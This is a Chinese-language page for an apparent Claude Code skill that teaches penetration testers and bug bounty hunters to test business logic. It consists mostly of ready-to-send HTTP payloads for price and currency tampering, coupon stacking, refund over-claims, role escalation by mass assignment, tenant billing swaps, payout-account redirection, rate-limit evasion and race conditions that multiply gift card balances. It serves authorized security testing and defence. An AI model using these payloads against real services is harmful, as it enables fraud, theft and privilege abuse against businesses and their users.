关于 offensive-business-logic
面向渗透测试人员和漏洞赏金研究者的业务逻辑安全测试方法,围绕状态转换、业务规则、滥用路径和漏洞组合组织测试。
主要功能
- 01将流程绘制为状态机
- 02测试状态、身份、输入与频率
- 03检查定价、退款和角色边界
- 04探测重放与竞态条件
- 05组合漏洞并估算影响
适用场景
- 01审查结账与支付流程
- 02测试一次性操作能否重放
- 03评估租户与角色隔离
- 04记录组合式财务滥用
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-business-logic安装后在 Claude Code 中输入/offensive-business-logic确认已加载。
详细介绍
业务逻辑 — 攻击性测试方法论
业务逻辑漏洞是漏洞赏金中回报最高、也最难被扫描器检测到的一类漏洞。它们存在于开发者的设计与攻击者能诱使系统接受的内容之间的空隙中。
快速工作流
- 将每个多步骤流程映射为状态机(状态 + 允许的转换 + 副作用)
- 对于每个转换,询问:谁能调用、在什么状态下调用、使用什么输入、能调用多少次
- 针对每个维度(状态、身份、输入、频率)探测其中的假设
- 组合漏洞——单一维度的漏洞通常严重程度较低;漏洞链则很严重
- 量化每项发现的财务影响(每次攻击造成的损失 × 规模)
侦察 — 梳理逻辑
构建状态机
针对每个用户流程,绘制:
- 状态:购物车、待付款、已付款、已发货、已退款、已取消
- 转换:哪个 API/UI 操作、哪个角色、哪些前置条件
- 副作用:余额变动、库存变动、电子邮件、Webhook
留意以下转换:
- 跳过中间状态(
cart→shipped,没有经过paid) - 在不应可逆时却可以逆转(
shipped→cart) - 多次触发副作用
- 允许跨角色调用
隐藏 / 内部端点
# Compare authenticated and unauthenticated JS bundles for buried admin routes
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
# Look for flag/feature toggles that change UI but not server-side enforcement
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
# API spec (OpenAPI/Swagger) often lists endpoints the UI never calls
curl https://app/api/openapi.json | jq '.paths | keys'
工作流 / 状态机绕过
跳过必需步骤
# Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard
# Try jumping directly:
GET /dashboard
GET /api/account/details
POST /api/payout-settings
# Checkout flow: /cart → /address → /shipping → /payment → /confirm
# Skip /payment by replaying /confirm with a previous order's payment-token reference:
POST /api/order/confirm
{ "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
重放一次性操作
# Refund endpoint without idempotency
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded
POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
状态降级
将已定稿的对象移回可编辑状态,使修改能够生效:
PUT /api/order/123
{ "status": "draft" } # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }
直接调用端点
如果缺少路由级 RBAC,而 UI 又隐藏了相关入口,任何已通过身份验证的用户都可能访问许多管理员 / 后端转换。
# Enumerate verbs on every discovered path
for path in $(cat paths.txt); do
for v in GET POST PUT PATCH DELETE OPTIONS; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path)
echo "$v $path $code"
done
done | grep -v -E ' (401|403|404) '
价格 / 数量 / 货币操纵
负数 / 零 / 浮点数量
POST /api/cart/add
{ "sku": "tv", "qty": -1 } # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 } # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 } # Overflow → wraps to small number, $0 cost?
隐藏价格字段
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
如果服务器信任客户端提供的 price,你就能设定价格。测试每个数值字段——price、total、discount、tax、shipping、subtotal、currency。
货币混淆
POST /api/checkout
{ "amount": 100, "currency": "JPY" } # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" } # Even better
{ "amount": 100, "currency": "BTC" } # Or worse: pay in BTC at $1 BTC = $1?
留意:缺少货币规范化处理、外汇汇率缓存不当、根据用户输入查询货币。
优惠券 / 折扣逻辑
# Apply same coupon multiple times
POST /api/cart/coupon { "code": "SAVE50" }
POST /api/cart/coupon { "code": "SAVE50" } # Stacks?
POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot?
POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
# Coupon for a different product
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
# Negative discount (becomes a surcharge that reduces total when coupon stacked with another)
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
# Expired coupon: change date in payload?
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
篡改购物车
# Add a cheap item, edit the SKU server-side
POST /api/cart/add { "sku": "pen", "qty": 1 }
PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?
退款 / 拒付 / 付款滥用
退款金额超过付款金额
POST /api/orders/123/refund { "amount": 99999 }
退货数量较少,却要求全额退款
订单发货 5 件商品,你只退回 1 件,却申请整笔订单的退款。逻辑应按退回的商品逐件计算退款;如果按订单计算,就能免费获得商品。
将退款转换为其他方式
POST /api/orders/123/refund { "method": "store-credit" }
# vs original card payment → store credit can be transferred / sold
付款账户竞争条件
PUT /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT /api/payout-account { "iban": "ORIGINAL" } # Restore before audit
身份 / 租户 / 角色边界
通过 Multipart / 参数污染造成角色混淆
POST /api/users/me
role=user&role=admin # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins
替换隐藏字段中的租户 ID
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
# Charges victim-corp for attacker's order
批量赋值 / 字段白名单
PUT /api/users/me
{ "email": "[email protected]", "isAdmin": true, "credits": 10000, "tenantId": "victim" }
测试模型中存在的每个字段,而不只是表单公开的字段。
通过对象关联间接提升权限
POST /api/projects/PUBLIC-PROJECT/share-token # Anyone can mint
GET /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
# Sharing API meant for collaborators bypasses role check on data API
逻辑边界上的竞争条件
先读取状态,再依据该状态执行操作的逻辑检查容易受到 TOCTOU 攻击。(另请参阅:offensive-toctou、offensive-race-condition。)
单数据包多请求
# Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,
# all requests' last frames sent in one TCP segment. Server processes them concurrently.
常见逻辑竞争
| 流程 | 竞争条件 |
|---|---|
| 兑换优惠券 | N 个并行的 apply-coupon 调用都会看到“未使用” |
| 双重验证 | 在锁定计数器递增之前并行提交验证码 N 次 |
| 提现 | 并行提现请求都会看到全部余额 |
| 投票 / 点赞 / 表情回应 | “每位用户只能操作一次”的检查发生竞争 |
| 接受邀请 | 多次接受 → 授予多个席位 |
| 注册免费试用 | 并行注册 → 同一电子邮件获得多个试用 |
| 兑换礼品卡 | 并行兑换 → 同一张卡被多次消费 |
| 库存预留 | 并行购买最后一件商品 → 超卖,由供应商承担差额 |
放大攻击
# Send 30 parallel "redeem $10 gift card" requests, all see balance = $10
# Result: $300 credited from a $10 card
绕过反自动化 / 反欺诈措施
验证码 / 速率限制绕过
| 绕过方式 | 机制 |
|---|---|
| 令牌重用 | 通过一次验证码验证,在许多请求中重放令牌 |
| 端点镜像 | /api/v1/login 有速率限制,/api/v2/login 没有 |
| 轮换请求头 | X-Forwarded-For: <random> 每次重置每 IP 计数器 |
| HTTP/2 流多路复用 | 每个流都计为同一连接 → 仅受时间窗口限制 |
| 方法 / 大小写变体 | POST /Login 与 POST /login 在缓存中使用不同键 |
设备指纹 / 操作频率
- 新设备 → 要求进行强化身份验证。重放捕获的设备 Cookie / FingerprintJS 哈希值。
- 操作频率计数器(每小时登录 5 次)通常按
(userid, ip)而不是按userid统计。 - 风险评分阈值:小额购买会跳过审核。测试临界值($99.99 与 $100)。
免费试用 / 注册滥用
# Email aliasing
[email protected], [email protected] # Plus-aliasing
[email protected], [email protected] # Dots ignored on Gmail
[email protected] # gmail/googlemail equivalence
# Phone number recycling (number-portable VOIP) — identity not unique
# Device-ID rotation (mobile testing) — wipe storage, new install
推荐 / 奖励循环
POST /api/refer { "email": "[email protected]" } # +$5 to me when they sign up
# Sign up the alias, receive referral
POST /api/refer { "email": "[email protected]" } # Repeat — many sign-ups, all same person
订阅 / 配额 / 级别滥用
降低级别后仍保留高级功能
PUT /api/subscription { "tier": "free" } # Cancel paid
GET /api/feature/premium-export # Still works because feature flag cached?
周期中途重置配额
PUT /api/subscription { "tier": "pro" } # +1000 quota
PUT /api/subscription { "tier": "free" } # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" } # +1000 again — net 2000 in one cycle
叠加附加项
POST /api/addons { "id": "extra-storage" } # +10GB
POST /api/addons { "id": "extra-storage" } # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" } # Or charges once, stacks N times?
基于时间的逻辑
通过请求头实现时间穿越
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT # Server-trusted time?
X-Request-Time: 1577836800
促销窗口
将客户端日期设为窗口期内,服务器会验证 X-Promo-Time 参数。促销缓存未更新,导致今天仍应用昨天的价格。
令牌 / 会话过期
刷新令牌端点不检查原始令牌是否过期 → 会话可无限期延长。
组合漏洞 — 高价值发现所在之处
单一维度的发现很有意思;漏洞链才有回报。
漏洞链示例(真实的付费漏洞赏金案例):
- 优惠券叠加可实现
100% off× 2 → 总金额为负数 - 总金额为负数 → 发放商店余额(退还“多付”的金额)
- 商店余额可转为礼品卡
- 礼品卡竞态条件 → 余额倍增
- 礼品卡可在合作伙伴网站兑换为等值现金的商品
漏洞链模板:
- 找到系统提供给你的某种东西(余额、积分、名额、席位)
- 找到将其倍增的方法(竞态、重放、叠加)
- 找到将其转化为价值的方法(转让、退款、提现)
测试方法
Day 1: Map state machines for top 3 money flows.
Day 2: Per state, list what the UI does. Check what the API allows.
Day 3: Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4: Race conditions on every "one-shot" action.
Day 5: Chain the findings. Quantify financial impact per chain.
将每项发现记录为:前置条件 → 确切的请求序列 → 状态变化 → 每次执行的财务影响 → 扩大规模的系数。
报告要点
业务逻辑漏洞常会被不了解漏洞链的分诊人员降低优先级。务必包含:
- 预期流程与实际达成流程的示意图
- 可端到端运行的脚本化 PoC(无需手动操作)
- 每次执行的金额,以及能否重复利用的可行性说明
- 在正确层级修复问题(状态机验证器,而不仅是输入验证)
关键参考资料
- OWASP WSTG-BUSL — 业务逻辑测试章节
- PortSwigger Web Security Academy:业务逻辑漏洞专题
- MITRE ATT&CK:T1539(窃取 Web 会话 Cookie)、T1078(有效账户)— 用于串联访问
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/business-logic.md